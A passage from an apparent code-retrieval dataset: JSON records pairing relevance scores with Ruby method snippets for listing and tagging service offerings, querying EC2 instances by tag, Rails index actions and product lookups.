work\n # when the name parameter is specified. When this is fixed,\n # the name parameter should be added to the request.\n params = {\n 'command' => 'listDiskOfferings'\n }\n json = send_request(params)\n\n services = json['diskoffering']\n return nil unless services\n\n services.each { |s|\n if s['name'] == name then\n return s\n end\n }\n nil\n end", "title": "" }, { "docid": "d9963c0c2ed0de7fe7c063ab8d5ad57c", "score": "0.5342544", "text": "def details(offering_id)\n API::request(:get, \"offerings/#{offering_id}\")\n end", "title": "" }, { "docid": "b204780306b219fef8ad8e12694d59d7", "score": "0.5310659", "text": "def ec2_find_service_instances(tag_value)\n ec2_find_instances_by_tag('Service', tag_value)\n end", "title": "" }, { "docid": "f4927aebe6eaeb713571124860839313", "score": "0.5304756", "text": "def list_service_offering_service_offering_nodes(id, opts = {})\n data, _status_code, _headers = list_service_offering_service_offering_nodes_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "4ded593bcb7ee5ffb8b6f7f5471a7615", "score": "0.52931815", "text": "def ec2_find_instances_by_tag(tag, value)\n filter = { name: \"tag:#{tag}\", values: [value] }\n collection = ec2.instances(filters: [filter])\n collection.to_a\n end", "title": "" }, { "docid": "1bce7af2923446c9f2b723cbd8404741", "score": "0.5276974", "text": "def index\n @offerlists = Offerlist.all\n end", "title": "" }, { "docid": "1e62aec064c1ae9ff35e40a9c3bde28a", "score": "0.5266461", "text": "def index\n @link_request_offers = LinkRequestOffer.all\n end", "title": "" }, { "docid": "27e0010b6c7da6680a4d1a7131db21bf", "score": "0.52629316", "text": "def services_list\n available_services.map(&:to_hash)\n end", "title": "" }, { "docid": "9f5d50b4c4a0fa8856d6e112f76099d3", "score": "0.52509016", "text": "def index\n\t\tquery = Offer.search\n\t\tincludes = [:user, :place]\n\t\t\n\t\toptions = {\n\t\t\t\t\t\t\t\t:page => params[:page], \n\t\t\t\t\t\t\t\t:per_page => 30,\n\t\t\t\t\t\t\t\t:order => \"created_at DESC\",\n\t\t\t\t\t\t\t\t:include => includes\n\t\t\t\t\t\t\t}\n\t\t\n\t\tquery.end_at_greater_than_or_equal_to(Date.current)\n\t\tquery.etat_equals(params[:etat]) if params[:etat]\n\t\tquery.place_id_equals(params[:place]) if params[:place]\n\t\t\n\t\tif params[:type]\n\t\t\ttype = OFFER_TYPES.map{ |type| PermalinkFu.escape(type) }.index(params[:type])\n\t\t\tquery.type_id_equals(type)\n\t\tend\n\n\t\tif !params[:tags].nil? && params[:tags].length > 0\n\t\t\t#includes << :tags\n\t\t\ttag_conditions = []\n\t\t\t\n\t\t\tparam_tags = params[:tags].split(',').map(&:downcase)\n\t\t\tparam_tags.size.times { tag_conditions << \" name ILIKE ? \" }\n\t\t\ttag_conditions = [tag_conditions.join(' OR ')] + param_tags.map { |tag| \"%#{tag}%\" }\n\t\t\t\n\t\t\ttags = Tag.all(:conditions => tag_conditions)\n\t\t\tquery.tags_id_equals(tags.map(&:id)) \n\t\tend\n\t\t\n\t\tif params[:nearest]\n\t\t\t#includes << :geocoding\n\t\t\toptions.merge!({\n\t\t\t\t:within => 100,\n\t\t\t\t:origin => params[:nearest]\n\t\t\t})\n\t\tend\n\t\t\n @offers = query.paginate(options)\n\t\t\n\t\t@places = query.all \t\t\t:select => \"count(offers.place_id) as offers_count, places.*\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:joins => :place,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:group => Place.column_names.map{|c| \"places.#{c}\"}.join(','),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:order => \"places.name\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @offers }\n\t\t\tformat.rss\n end\n end", "title": "" }, { "docid": "0df6577313b0b90fe82ad972f7fd2e7f", "score": "0.52368146", "text": "def index\n if params[:tag]\n @listings = Listing.tagged_with(params[:tag])\n # @listings = @listing.listings.tagged_with(params[:tag])\n else\n @listings = Listing.all\n end\n end", "title": "" }, { "docid": "01bca0c0293b3e4013ee9eafb23e890b", "score": "0.52252144", "text": "def index\n @dive_service_spots = DiveServiceSpot.all\n end", "title": "" }, { "docid": "1e00651d75d6a36f2472a879b9ed0175", "score": "0.52052945", "text": "def index\n @offerings = Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end", "title": "" }, { "docid": "b0d4a35ba2cc64c72692a29537f10347", "score": "0.51948947", "text": "def all_tags_list\n object.app_series.all_tags_list\n end", "title": "" }, { "docid": "4752d793e862f6e2c8e0c6fe20c30b86", "score": "0.5169386", "text": "def get_candidate_tags\n @candidates.each do |iid|\n itag = @client.describe_tags(filters: [{name: \"resource-id\", values: [iid]},{name: \"key\", values: [\"Name\"]}])\n @info.push(itag)\n end\nend", "title": "" }, { "docid": "187d742c5aade007f44ff2963f23769f", "score": "0.51668394", "text": "def index\n @optin_services = OptinService.all\n end", "title": "" }, { "docid": "d7b98679724f6f807504f62d140f8725", "score": "0.5160078", "text": "def hotel_offers\n Amadeus::Namespaces::Shopping::Hotel::HotelOffers.new(\n client, @hotel_id\n )\n end", "title": "" }, { "docid": "3416ac71d6a37ac319b225dd6625803b", "score": "0.5140843", "text": "def list_service_offerings_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_service_offerings ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_service_offerings, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_service_offerings, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling DefaultApi.list_service_offerings, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/service_offerings'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ServiceOfferingsCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_service_offerings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b6d72ce1c83c2ba5bcd1b4c99b00830b", "score": "0.51403576", "text": "def index\n @dining_offers = DiningOffer.all\n end", "title": "" }, { "docid": "475ab865dece22e465c011ef278711c0", "score": "0.5130062", "text": "def index\n @offertes = Offerte.all\n end", "title": "" }, { "docid": "1c982919ee764e20c13f08dd32dcf003", "score": "0.51226157", "text": "def service_list\n list = Set.new\n discover { |obj| list << obj }\n return list\n end", "title": "" }, { "docid": "58f65206f69873aae3c28dde85ae843d", "score": "0.5119749", "text": "def tag_service_offering_with_http_info(id, tag, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.tag_service_offering ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.tag_service_offering\"\n end\n pattern = Regexp.new(/^\\d+$/)\n if @api_client.config.client_side_validation && id !~ pattern\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.tag_service_offering, must conform to the pattern #{pattern}.\"\n end\n\n # verify the required parameter 'tag' is set\n if @api_client.config.client_side_validation && tag.nil?\n fail ArgumentError, \"Missing the required parameter 'tag' when calling DefaultApi.tag_service_offering\"\n end\n # resource path\n local_var_path = '/service_offerings/{id}/tag'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(tag) \n\n # return_type\n return_type = opts[:return_type] || 'Array<Tag>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#tag_service_offering\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "60d85f8d2e83d6f7e5f7a898df2d3e79", "score": "0.51074535", "text": "def show\n @offers = Offer.paginate(page: params[:page])\n end", "title": "" }, { "docid": "8ac2203040b49c0dcdb3a2fab8a2953e", "score": "0.5106511", "text": "def index\n @offerings = Offering.search(params)\n respond_to do |format|\n format.html\n format.json {render :json => @offerings.to_json}\n format.xml {render :xml => @offerings.to_xml}\n end\n end", "title": "" }, { "docid": "8e0918bd197da2004534e489a87e149a", "score": "0.5101221", "text": "def list_service_offering_nodes(opts = {})\n data, _status_code, _headers = list_service_offering_nodes_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "04b24d627e878b6fff042ff8284ca2cc", "score": "0.5089843", "text": "def bookings_tag(bookings_tag, options = {})\n get(\"bookings_tags/#{bookings_tag}\", options).pop\n end", "title": "" }, { "docid": "12d672108613e833dc7c84c0a3c36630", "score": "0.508769", "text": "def list_service_offering_service_instances_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_service_offering_service_instances ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.list_service_offering_service_instances\"\n end\n if @api_client.config.client_side_validation && id !~ Regexp.new(/\\A\\d+\\z/)\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.list_service_offering_service_instances, must conform to the pattern /\\A\\d+\\z/.\"\n end\n\n # resource path\n local_var_path = '/service_offerings/{id}/service_instances'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<ServiceInstance>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_service_offering_service_instances\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "79fa8b8853e0a6d703d3107fdb23e035", "score": "0.5075938", "text": "def hotel_offers\n Amadeus::Namespaces::Shopping::HotelOffers.new(client)\n end", "title": "" }, { "docid": "61da55923a5f976ca4b6084e38d18ed3", "score": "0.5073246", "text": "def offer_products\n list = []\n list << Product.find(self.offer_product_1_id)\n list << Product.find(self.offer_product_2_id)\n list << Product.find(self.offer_product_3_id)\n end", "title": "" }, { "docid": "daba5e6754970e47fa1fa21d8d10277e", "score": "0.5064984", "text": "def offers( offset = 0, limit = 50)\n response = HTTParty.get(JobBox.base_uri+\"/offers.json?offset=#{offset}&limit=#{limit}\", :headers => self.headers)\n if response.success?\n response\n else\n raise response.response\n end\n end", "title": "" }, { "docid": "e99e59c3f0956d291b8df03cf9b5a80c", "score": "0.50550234", "text": "def all_tags\n request(:get,\"/tags\")\n end", "title": "" }, { "docid": "449be758d820e876e6222d7b37e9f4af", "score": "0.505348", "text": "def list_source_service_offerings_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_source_service_offerings ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.list_source_service_offerings\"\n end\n if @api_client.config.client_side_validation && id !~ Regexp.new(/\\A\\d+\\z/)\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.list_source_service_offerings, must conform to the pattern /\\A\\d+\\z/.\"\n end\n\n # resource path\n local_var_path = '/sources/{id}/service_offerings'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<ServiceOffering>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_source_service_offerings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0d414617f5accf13dedd0e3d99cc2afe", "score": "0.50533617", "text": "def tag_list\n Tag.tag_list(\n object: self.class.to_s,\n o_id: id,\n )\n end", "title": "" }, { "docid": "6a825150225de610b8ea04ebc0d48783", "score": "0.5052842", "text": "def on_offer\n Products.new(self,api_request(:listproductoffers))\n end", "title": "" }, { "docid": "3298f94c5c1c9ce865754a10c4c90f02", "score": "0.5031891", "text": "def offers(location = @location, publisher = @publisher)\n check_for_location_and_publisher(location, publisher)\n\n url = build_url(location, 'publishers', publisher, 'artifacttypes', 'vmimage', 'offers')\n\n JSON.parse(rest_get(url)).map { |hash| Azure::Armrest::Offer.new(hash) }\n end", "title": "" }, { "docid": "9ae2930eb574f2c907c62a284f4bbce3", "score": "0.503115", "text": "def offer_tokens\n order.fee_adjustments.offer_token\n end", "title": "" }, { "docid": "f00c09dbf4f111b0ed15f1b8453973cc", "score": "0.50302273", "text": "def index\n @exceller_offers = ExcellerOffer.all\n end", "title": "" }, { "docid": "62ccfc3f0abde22759b78c1f6b8b09ff", "score": "0.5028782", "text": "def index\n @offerings = Offering.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @offerings }\n end\n end", "title": "" }, { "docid": "c4cf85131173df74899484a16524e3ce", "score": "0.50263363", "text": "def untag_service_offering(id, tag, opts = {})\n untag_service_offering_with_http_info(id, tag, opts)\n nil\n end", "title": "" }, { "docid": "2c59387b3249fd5a3904fb9da90254f2", "score": "0.50226784", "text": "def list\n\t\t@service_requests = ServiceRequest.all\n\tend", "title": "" }, { "docid": "b4074954b5e464831ce46f740491b7ca", "score": "0.5017786", "text": "def index\n @individual_offers = IndividualOffer.all\n end", "title": "" }, { "docid": "73e64aba49097dcac7758a5d4fc4d4e4", "score": "0.50172335", "text": "def list()\n _params = {}\n return @master.call 'tags/list', _params\n end", "title": "" }, { "docid": "a77adb0d0b6639a6c69be43f41ac4495", "score": "0.5011511", "text": "def get_all_products_by_tag(tag:)\n tag = tag.sub(/'/, %q(\\\\\\'))\n get_all_products_by_query(query: \"tag:'#{tag}'\")\n end", "title": "" }, { "docid": "7f5bf9962a495b8abbbfe18e6d80f71b", "score": "0.5003562", "text": "def show_service_offering(id, opts = {})\n data, _status_code, _headers = show_service_offering_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "7f5bf9962a495b8abbbfe18e6d80f71b", "score": "0.5003562", "text": "def show_service_offering(id, opts = {})\n data, _status_code, _headers = show_service_offering_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "ee36f11488b4bbb298ba53e37f876cc6", "score": "0.4994664", "text": "def list_service_inventories(opts = {})\n data, _status_code, _headers = list_service_inventories_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "ee36f11488b4bbb298ba53e37f876cc6", "score": "0.4994664", "text": "def list_service_inventories(opts = {})\n data, _status_code, _headers = list_service_inventories_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "78fa8e3d3a6cfe660172d7a7ca9840ec", "score": "0.49938363", "text": "def index\n @offers = Offer.where(order_union_id: params[:order_union_id])\n end", "title": "" }, { "docid": "939becf732fb341eacabf44356323b31", "score": "0.49927932", "text": "def list()\n _params = {}\n return @master.call 'tags/list', _params\n end", "title": "" }, { "docid": "f271cf56b77d5ba56f436ed1f8d20397", "score": "0.49802786", "text": "def list(options = {})\n get_path(\n path_to_list,\n options,\n get_parser(:collection, Tinybucket::Model::Tag)\n )\n end", "title": "" }, { "docid": "a473ebd57a9b0d602c3857215e5c1606", "score": "0.49471232", "text": "def offers( offset = 0, limit = 50)\n response = self.class.get(self.base_uri+\"/offers.json?offset=#{offset}&limit=#{limit}\", :headers => self.headers)\n if response.success?\n response\n else\n raise response.response\n end\n end", "title": "" }, { "docid": "6b9363bd941cd7ddd21604af9e43999a", "score": "0.4935987", "text": "def get_servers_by_tag(tags)\n return([]) unless tags.size > 0\n servers = ::Tag.search(\"ec2_instance\", tags, :match_all => @match_all)\n\n if tags.size > 0 and servers.nil? or servers.empty?\n if @ignore_errors\n Log.warn \"Tag query returned no results: #{tags.join(\" \")}\"\n else\n raise \"Tag query returned no results: #{tags.join(\" \")}\"\n end\n end\n\n return(servers)\n end", "title": "" }, { "docid": "958613761c086217bfe1fe06f8735eb5", "score": "0.4934891", "text": "def index\n @portal_offerings = Portal::Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_offerings }\n end\n end", "title": "" }, { "docid": "958613761c086217bfe1fe06f8735eb5", "score": "0.4934891", "text": "def index\n @portal_offerings = Portal::Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_offerings }\n end\n end", "title": "" }, { "docid": "ab0fef586e335abc471ad9e052983be4", "score": "0.49336565", "text": "def subscriptions\n Subscription.where(offer: id)\n end", "title": "" }, { "docid": "1a1f0c3aa9103337fed92836e788b179", "score": "0.49275294", "text": "def offers\n @item['offers'].to_h\n end", "title": "" }, { "docid": "1806a3aeab2139d98cffa44e16069c97", "score": "0.49099913", "text": "def offer\n @company = Company.find(params[:id])\n @offers = @company.offers.all\n end", "title": "" } ]
6f43ad4cbdddfba611cfb4dfe8f60809
The product identifier of the item that was purchased
[ { "docid": "3287475d1bc24a859a524bb8ff9e0116", "score": "0.78072757", "text": "def product_id\n read('product_id')\n end", "title": "" } ]
[ { "docid": "d9c96c6678e72b907dc9dccd835afeb2", "score": "0.74700755", "text": "def product_key\n return @product_key\n end", "title": "" }, { "docid": "d9c96c6678e72b907dc9dccd835afeb2", "score": "0.74700755", "text": "def product_key\n return @product_key\n end", "title": "" }, { "docid": "80f0a615f53da376d6efd625bc71638d", "score": "0.72861373", "text": "def item_id\n params['VendorTxCode']\n end", "title": "" }, { "docid": "f6b3e5851b5e9da9a540ad939bd9814f", "score": "0.70281416", "text": "def item_id\n return @item_id\n end", "title": "" }, { "docid": "f6b3e5851b5e9da9a540ad939bd9814f", "score": "0.70281416", "text": "def item_id\n return @item_id\n end", "title": "" }, { "docid": "f6b3e5851b5e9da9a540ad939bd9814f", "score": "0.70281416", "text": "def item_id\n return @item_id\n end", "title": "" }, { "docid": "a89e2a1d8fd86917c513567b532db66c", "score": "0.6912437", "text": "def product_id\n params['product_id']\n end", "title": "" }, { "docid": "55f06eb68f2cffce8b0781f0005d3a16", "score": "0.68915343", "text": "def item_id\n params['vendor_order_id'] || params['merchant_order_id']\n end", "title": "" }, { "docid": "dec44627f11cd9de4f21cd2fdd45c33a", "score": "0.68636537", "text": "def item_id\n params['item_number'] || params['custom']\n end", "title": "" }, { "docid": "dec44627f11cd9de4f21cd2fdd45c33a", "score": "0.68636537", "text": "def item_id\n params['item_number'] || params['custom']\n end", "title": "" }, { "docid": "debb5a4803b312cc0c3c290c16fc0769", "score": "0.6809715", "text": "def product\n self[\"ProductName\"]\n end", "title": "" }, { "docid": "3d453192b4a1349b97c380e9454ed397", "score": "0.67399246", "text": "def extract_product_id(order_line_product_id)\n api.lookup_product(order_line_product_id)['number']\n end", "title": "" }, { "docid": "304823adb1b97c85ec731d5ecd08089f", "score": "0.6695848", "text": "def item_id\n id\n end", "title": "" }, { "docid": "38a701e0efe369972143c9cc1b1f3c07", "score": "0.66528434", "text": "def item_id\n unescape params['x_invoice_num']\n end", "title": "" }, { "docid": "d933788234f64f4e0c19513339c8a1bb", "score": "0.6605278", "text": "def item_id\n unescape params['x_invoice_num']\n end", "title": "" }, { "docid": "887e41a6a93f426447decd86cc386973", "score": "0.660471", "text": "def item_id\n params['m_payment_id']\n end", "title": "" }, { "docid": "0b122d687af5fc98d174719ef3a7cc54", "score": "0.65958285", "text": "def item_id\n item_hash.deep_find(:item_id)\n end", "title": "" }, { "docid": "a4125ac42eb80cfa85afdea234fc6a86", "score": "0.6581562", "text": "def item_id\n\tparams['item_number'] || params['custom']\n end", "title": "" }, { "docid": "18af55f770f4aca1f04e4a26462ce780", "score": "0.65812814", "text": "def invoice_num\n item_id\n end", "title": "" }, { "docid": "06c5872241ae9c786decb17b234ed850", "score": "0.6539487", "text": "def invoice_num\n item_id\n end", "title": "" }, { "docid": "7f5ecc62cd73293789b92676e86e38bf", "score": "0.6537678", "text": "def product_name\n return @product_name\n end", "title": "" }, { "docid": "ebb8072097cc49b56ae4ed39dd8ba3db", "score": "0.6536073", "text": "def web_order_line_item_id\n read('web_order_line_item_id')\n end", "title": "" }, { "docid": "b595966332b4ebea72a7e68720be9d43", "score": "0.6418554", "text": "def auto_renew_product_id\n read('auto_renew_product_id')\n end", "title": "" }, { "docid": "12da80d038ddf6da7a5640b00206200f", "score": "0.6417406", "text": "def get_product product_id\n # Retrieve the product that was just created\n @server.call(\"call\", @session_id, \"catalog_product.info\", [product_id, @current_store_id, [\"image\"]])\n rescue XMLRPC::FaultException => exception\n return exception\n end", "title": "" }, { "docid": "b0ab407358a0cd6fc2e4f67d26e6a60d", "score": "0.6409657", "text": "def product_id; nil end", "title": "" }, { "docid": "6b6d662c5f09f2eb4c0f71d813b3b9d8", "score": "0.64036936", "text": "def app_item_id\n read('app_item_id')\n end", "title": "" }, { "docid": "8d4b9c9e40683449a0eb3f75bb063fd1", "score": "0.63802683", "text": "def app_item_id\n read_integer('app_item_id')\n end", "title": "" }, { "docid": "c9563661cc22ef37d284d7cb483b5ed0", "score": "0.6379176", "text": "def currentProduct()\n @products[@current_product]\n end", "title": "" }, { "docid": "02518909234ed8376286eec2e892982e", "score": "0.63190883", "text": "def get_prodid\n\t\t@attributes[:app_prod_id]\n\tend", "title": "" }, { "docid": "31951a1ca310960dda0ea54984a95f88", "score": "0.6304061", "text": "def record_id\n attributes['item_id']\n end", "title": "" }, { "docid": "a1d8267d7d9aee56de4baf99e9ce66d4", "score": "0.62112254", "text": "def product\n FarMar::Product.all.select { |product| product.product_id == product_info }\n end", "title": "" }, { "docid": "42e8dbae450d78397e90477abd70ca5e", "score": "0.6202217", "text": "def item_id=(value)\n @item_id = value\n end", "title": "" }, { "docid": "42e8dbae450d78397e90477abd70ca5e", "score": "0.6202217", "text": "def item_id=(value)\n @item_id = value\n end", "title": "" }, { "docid": "42e8dbae450d78397e90477abd70ca5e", "score": "0.6202217", "text": "def item_id=(value)\n @item_id = value\n end", "title": "" }, { "docid": "099edb32702ad139b3bc202ede51c9f8", "score": "0.6184354", "text": "def shop_id\n data[:shop_id]\n end", "title": "" }, { "docid": "7f0d653a97540dde1f0f2a4c54a6f763", "score": "0.6159429", "text": "def item_id\r\n params['Ref'] \r\n end", "title": "" }, { "docid": "3d27ac51765617d5582d23966b43798c", "score": "0.6150438", "text": "def line_item_id\n @row[\"売上詳細ID\"].to_s\n end", "title": "" }, { "docid": "ad365cd31a072d9c5a5fabf55678177a", "score": "0.61373836", "text": "def product\n @card_product\n end", "title": "" }, { "docid": "40d98e061ea7f2d476617f6b3c8269c4", "score": "0.6131292", "text": "def product\n sale_product = Product.new(:id, :name, :vendor_id)\n Product.all.each do |pro_id, pro|\n if pro_id == product_id\n sale_product = pro\n break\n end\n end\n return sale_product\n end", "title": "" }, { "docid": "6492c318eef98229759d8b1adbe29de4", "score": "0.6099423", "text": "def merchant_guid\n hash[\"MerchantGUID\"]\n end", "title": "" }, { "docid": "53912226dfa399ee97cd2de198c3aa83", "score": "0.6083109", "text": "def purchased?(product)\n purchase_items.exists?(product_id: product.id)\n end", "title": "" }, { "docid": "51673f38861f7431dde18eba608141f4", "score": "0.60773736", "text": "def product\n Product.find_by_outer_id(outer_id) || Product.find_by_num_iid(num_iid)\n end", "title": "" }, { "docid": "35f94a75a06ed5c911566a9a993be094", "score": "0.6059499", "text": "def product\n id = self.product_id\n found_product = FarMar::Product.find(id)\n return found_product\n end", "title": "" }, { "docid": "61995cb9028fbf9721d95648f4375e55", "score": "0.6041115", "text": "def product(product_id)\n FarMar::Product.all.find { |product| product.id == product_id }\n end", "title": "" }, { "docid": "909987b01d61ee9200af7fa2e30c2376", "score": "0.60335016", "text": "def user_id_from_order_item #TODO possible refactor to purchaseable\n case item_type\n when OrderItem::TypePhoto\n photo.user_id\n when OrderItem::TypeLibrary\n collection.user_id\n when OrderItem::TypeLicense\n media_license_price.media.user_id\n when OrderItem::TypePhotoResolution\n photo_resolution_price.photo.user_id\n when OrderItem::TypeVideo\n video.user_id\n when OrderItem::TypeAudio\n audio.user_id\n else\n raise \"cannot extract use from #{item_type}\"\n #TODO host plan\n #TODO extra space\n end\n end", "title": "" }, { "docid": "888f5007ae7e2e57d25ea6a40694f8f3", "score": "0.60263956", "text": "def find_item_by_product(product, items)\n\t\tsku = product.sap_sku.to_s.upcase\n\t\tsku_options = sku.match(/\\-?[MV]$/) ? [sku, sku.gsub(/\\-?[MV]$/, '')] : sku_options = [\"#{sku}-V\", \"#{sku}-M\", \"#{sku}V\", \"#{sku}M\", sku]\n\n\t\titem = nil\n\t\tsku_options.each do |s|\n\t\t\tif item = items[s]\n\t\t\t\treturn item\n\t\t\tend\n\t\tend\n\t\titem\n\tend", "title": "" }, { "docid": "79c68a38609ad102dc7b266694044e4c", "score": "0.60207653", "text": "def product\n FarMar::Product.find(self.product_id)\n end", "title": "" }, { "docid": "e2ea0d26ae1c94b62d95bd36238fc8f7", "score": "0.6005483", "text": "def item_number\n self[:item_number]\n end", "title": "" }, { "docid": "89bbafc212a024c0e92fbb65083df854", "score": "0.5995848", "text": "def product(product)\n products.find(product.id)\n end", "title": "" }, { "docid": "d4693b47f2ec5bedb1c78a56fc5c496d", "score": "0.5984455", "text": "def item_id(input_name:, op:)\n fv = op.input(input_name)\n fv.part.try(:id) || fv.item.id\n end", "title": "" }, { "docid": "be76e3d9a417f952e0dd2ab281958441", "score": "0.59775007", "text": "def product_instance\n IMS::LTI::Models::ProductInstance.new.from_json(\n guid: 'be42ae52-23fe-48f5-a783-40ecc7ef6d5c',\n product_info: product_info\n )\n end", "title": "" }, { "docid": "1be0c3ea551261eac55a1e083fdc268f", "score": "0.5943214", "text": "def product\n FarMar::Product.find(@product_id)\n end", "title": "" }, { "docid": "bec7351231cbfbb9d4e2a6f1283da482", "score": "0.59403336", "text": "def item_entry_id\n return @item_entry_id\n end", "title": "" }, { "docid": "bec7351231cbfbb9d4e2a6f1283da482", "score": "0.59403336", "text": "def item_entry_id\n return @item_entry_id\n end", "title": "" }, { "docid": "0182a5ba4d0b96cf96ce410b9a90be5a", "score": "0.592017", "text": "def product\n nic_view.product\n end", "title": "" }, { "docid": "80f933e15387d150e662eb89296d1cd3", "score": "0.59079343", "text": "def product_header(product)\r\n product.product_name\r\n end", "title": "" }, { "docid": "3904dd806e76e043b15eab83dbfa54e9", "score": "0.59078616", "text": "def part_number\n productnum\n end", "title": "" }, { "docid": "66842ec6baa7ca56d76c3994394cdc42", "score": "0.5893082", "text": "def product_data\n AsinOMator::Product.new(asin: @asin).data\n end", "title": "" }, { "docid": "0813ebdd466399ee01e19c066f3753a2", "score": "0.5888974", "text": "def item_key(item_param)\n Ticket.items[item_param]\n end", "title": "" }, { "docid": "79241d74cd34093742facfa477475641", "score": "0.5870169", "text": "def si_update_product_select_from_order_item\n i = params[:i]\n product_id = 0\n if i != '0'\n @item = PurchaseOrderItem.find(i)\n product_id = @item.blank? ? 0 : @item.product_id\n end\n # Setup JSON\n @json_data = { \"product\" => product_id }\n render json: @json_data\n end", "title": "" }, { "docid": "34cdf803bc937692acb652be102489d2", "score": "0.5869727", "text": "def product_subscription(product)\n self.subscriptions.select { |s| s.product == product }.first\n end", "title": "" }, { "docid": "7e849314f853460f746589594b46c086", "score": "0.5862841", "text": "def rq_prod_point\n return item_info.rq_prod_point\n end", "title": "" }, { "docid": 